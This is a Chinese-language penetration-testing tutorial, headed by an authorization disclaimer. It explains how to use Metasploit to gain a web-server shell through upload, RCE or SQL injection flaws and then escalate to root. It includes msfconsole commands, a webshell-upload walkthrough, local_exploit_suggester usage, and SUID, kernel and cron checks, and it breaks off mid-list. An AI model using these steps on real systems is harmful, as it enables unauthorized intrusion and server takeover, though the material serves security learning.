所有关于 Metasploit 的研究和使用都应在你拥有明确授权的测试环境中进行,未经授权对任何系统进行渗透测试都是非法的。 本文内容仅用于学习和安全研究目的。

核心概念:网站提权是什么?
“网站提权”这个说法其实是一个通俗的讲法,它通常指的是通过网站这个入口(例如上传 Webshell、利用 SQL 注入、命令执行等漏洞),获取到服务器的操作系统权限。
这个过程不是一步到位的,通常分为两个阶段:
- 初始访问: 利用网站的漏洞(如文件上传、SQLi、RCE、XXE 等)在服务器上执行你自己的代码,获得一个低权限的 Shell,这个 Shell 通常是 Web 服务器权限(
www-data或apache用户)。 - 权限提升: 从低权限的 Shell 出发,利用操作系统本身的漏洞(内核漏洞、服务配置错误、弱密码、SUID/GUID 文件等),将权限提升至
root或Administrator。
Metasploit 在这两个阶段都能发挥巨大作用,尤其是在初始访问阶段,在权限提升阶段,Metasploit 的辅助模块和后渗透模块也很有用。
第一阶段:利用网站漏洞获取初始 Shell (Web Shell)
这是最直接使用 Metasploit 进行“网站提权”的步骤,Metasploit 提供了大量的 exploit 模块,可以直接针对各种 Web 漏洞。

常见思路和模块:
-
Web 上传漏洞
- 场景: 网站允许用户上传文件,但没有对文件类型、内容进行严格校验或重命名,导致你可以上传一个 Webshell(如
.php文件)。 - Metasploit 模块:
exploit/unix/webapp/php_webshell_upload - 流程:
- 设置目标网站的相关参数,如
TARGETURI(Webshell 上传的路径)、HttpUsername和HttpPassword(如果需要认证)。 - 运行模块,Metasploit 会构造一个恶意的上传请求。
- 如果成功,你会获得一个 Meterpreter 会话,这个会话就是以 Web 服务器用户(如
www-data)身份运行的。
- 设置目标网站的相关参数,如
- 场景: 网站允许用户上传文件,但没有对文件类型、内容进行严格校验或重命名,导致你可以上传一个 Webshell(如
-
远程代码执行 漏洞
- 场景: 网站应用的某个功能点(如搜索、评论、文件处理)存在漏洞,导致攻击者可以注入并执行任意操作系统命令。
- Metasploit 模块: 这类模块非常多,针对各种具体应用,
exploit/multi/http/struts2_devmode: 针对 Apache Struts2 的devMode远程代码执行。exploit/multi/http/wp_plugin_revslider: 针对 WordPress RevSlider 插件的 RCE。exploit/multi/http/joomla_com_fields: 针对 Joomla 组件的 RCE。
- 流程:
- 确定网站使用的技术栈(如 WordPress, Joomla, Drupal, Tomcat, IIS 等)。
- 在 Metasploit 中搜索对应技术的 RCE 模块 (
search type:exploit <技术名>)。 - 配置模块参数,如
RHOSTS(目标IP)、RPORT(端口)、TARGETURI(网站路径)、HTTP::junkparams(绕过WAF)等。 - 运行模块,成功后直接获得一个 Meterpreter 或命令行 Shell。
-
认证绕过 / SQL 注入
- 场景: 虽然纯粹的 SQL 注入本身不直接给你 Shell,但你可以利用它获取后台管理员的密码哈希,然后尝试破解,或者,通过
UNION SELECT写入 Webshell 到网站的某个目录下。 - Metasploit 模块:
exploit/multi/http/mysql_mof_exec(利用 MySQL UDF 提权,较老但经典),或者结合auxiliary/scanner/http/wordpress_login_enum等辅助模块获取密码。
- 场景: 虽然纯粹的 SQL 注入本身不直接给你 Shell,但你可以利用它获取后台管理员的密码哈希,然后尝试破解,或者,通过
示例:使用 Metasploit 上传 PHP Webshell
假设我们发现了一个存在文件上传漏洞的网站,我们可以使用 php_webshell_upload 模块。

# 1. 启动 Metasploit 控制台 msfconsole # 2. 搜索相关模块 search php_webshell_upload # 3. 使用该模块 use exploit/unix/webapp/php_webshell_upload # 4. 查看并设置必要参数 show options # Name Current Setting Required Description # ---- --------------- -------- ----------- # HttpHost yes The HTTP host # HttpPassword no The HTTP password # HttpUsername no The HTTP username # Proxies no A proxy chain # RHOSTS yes The target address range # RPORT 80 yes The target port # TARGETURI / yes The URI path of the webshell upload handler # VHOST no HTTP virtual host # 5. 设置参数 set RHOSTS 192.168.1.101 # 目标服务器IP set RPORT 8080 # 目标端口 set TARGETURI /upload # 上传脚本所在的路径 (需要自己探测) set HttpUsername admin # 如果网站需要HTTP Basic认证,设置用户名 set HttpPassword password123 # 设置密码 # 6. 运行攻击 run
如果成功,你会看到类似下面的输出,表示你获得了一个 Meterpreter 会话:
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:43210) at 2025-10-27 10:30:00 +0800
你已经进入了服务器的“大门”,但权限很低。
第二阶段:从低权限 Shell 提升至 Root 权限
获得 Meterpreter 会话后,真正的“提权”工作才开始,Metasploit 提供了强大的后渗透模块来辅助这个过程。
常见思路和模块:
-
使用 Metasploit 的
post模块进行信息收集和提权- 场景: 你已经 Meterpreter 会话,但不确定系统信息和提权点。
- 流程:
- 进入会话:
sessions -l查看所有会话,sessions -i 1进入第一个会话。 - 信息收集: 使用
post模块收集系统信息,如内核版本、已安装软件、用户权限等。# 在 Meterpreter 会话中执行 background # 将会话放到后台 use post/multi/recon/local_exploit_suggester # 这是一个神器! set SESSION 1 # 指定要检查的会话ID run
这个模块会自动分析目标系统的信息,并列出所有已知的、可用于提权的本地漏洞。
- 利用已知漏洞: 根据返回的结果,选择一个合适的
exploit模块进行攻击。# 发现了一个内核漏洞 use exploit/linux/local/<某个内核漏洞模块> set SESSION 1 set TARGET <目标系统类型> run
- 进入会话:
-
手动提权技巧 (结合 Metasploit) Metasploit 的功能虽然强大,但手动提权的过程更能帮助你理解原理,你可以利用 Meterpreter 来执行这些命令。
-
检查 SUID/GUID 文件:
# 在 Meterpreter 中执行 shell,进入系统命令行 shell # 然后执行以下命令 find / -perm -4000 -type f 2>/dev/null
查找结果中,如果发现
/usr/bin/passwd,/usr/bin/sudo,/bin/mount等可被利用的文件,就可以尝试提权。 -
检查内核版本和漏洞:
uname -a
将内核版本号去 Google 搜索,如 "Linux kernel 4.4.0-142 exploit",可能会有公开的漏洞利用代码(
.c文件),你可以将代码上传到服务器,编译后执行。 -
检查 cron 任务:
cat /etc/crontab ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
如果某个 cron 任务是以 root 权限运行的,并且它执行的脚本是你有权限写入的,你就可以修改这个脚本来获取一个 root shell。
-
检查环境变量:
-
